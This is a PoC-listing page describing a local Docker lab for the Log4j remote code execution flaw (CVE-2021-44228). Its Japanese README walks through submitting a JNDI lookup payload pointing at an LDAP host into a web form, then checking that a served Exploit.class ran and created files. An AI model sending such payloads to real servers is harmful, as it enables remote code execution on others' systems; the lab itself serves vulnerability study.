POC详情: 3df9320c8d9291a984864e07fa1d06392194dd2d

来源
关联漏洞
标题: Apache Log4j 代码问题漏洞 (CVE-2021-44228)
描述:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
描述
log4j2 CVE-2021-44228 POC
介绍
# 概要
`log4j2`のリモートコード実行の脆弱性(CVE-2021-44228)を実際に試すためのプロジェクトです。

## コンテナを立ち上げる
```
docker-compose up
```
`log4j`コンテナは起動してから使えるようになるまで少し時間がかかります。以下のコマンドで進行状況を確認してください。
```
docker logs -f log4j
```
`Server started: Listening on port 8081`と表示されたら準備完了です。

## 攻撃前の状態の確認
`log4j`コンテナの`/root`ディレクトリを確認します。
```
docker exec log4j ls /root
```
初期状態では、`work`ディレクトリのみがある状態です。

## 実際に攻撃を行う
`http://localhost:8081/`にアクセスします。フォームに入力された名前を、画面とログに出力するだけのシンプルなアプリケーションです。

フォームに`${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com}`を入力し、送信します。

`log4j`コンテナの`/root`ディレクトリを確認します。
```
docker exec log4j ls /root
```
攻撃者が用意したコードが実行され、先ほどまで存在しなかったファイルが作られているはずです。タイムスタンプをファイル名にしているので、攻撃を行った回数だけ新規ファイルが増えていきます。

`ldap`コンテナのログを確認すると、`log4j`コンテナから`SEARCH`リクエストが来ていることが確認できます。
```
docker logs ldap
```
`web`コンテナの`tomcat`のログを確認すると、`log4j`コンテナから`Exploit.class`(攻撃に使用するクラス)に対するアクセスが来ていることが確認できます。
```
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*
```
文件快照

[4.0K] /data/pocs/3df9320c8d9291a984864e07fa1d06392194dd2d ├── [ 720] docker-compose.yml ├── [4.0K] ldap │   └── [4.0K] ldif │   ├── [ 396] enable-anonymous.ldif │   ├── [2.9K] java.ldif │   └── [ 231] javaObject.ldif ├── [4.0K] log4j │   └── [4.0K] work │   └── [4.0K] rce │   ├── [1.8K] pom.xml │   └── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] sample │   │   └── [2.3K] App.java │   └── [4.0K] resources │   └── [ 320] log4j2.xml ├── [1.8K] README.md └── [4.0K] web └── [4.0K] work ├── [ 151] entrypoint.sh └── [ 232] Exploit.java 13 directories, 10 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。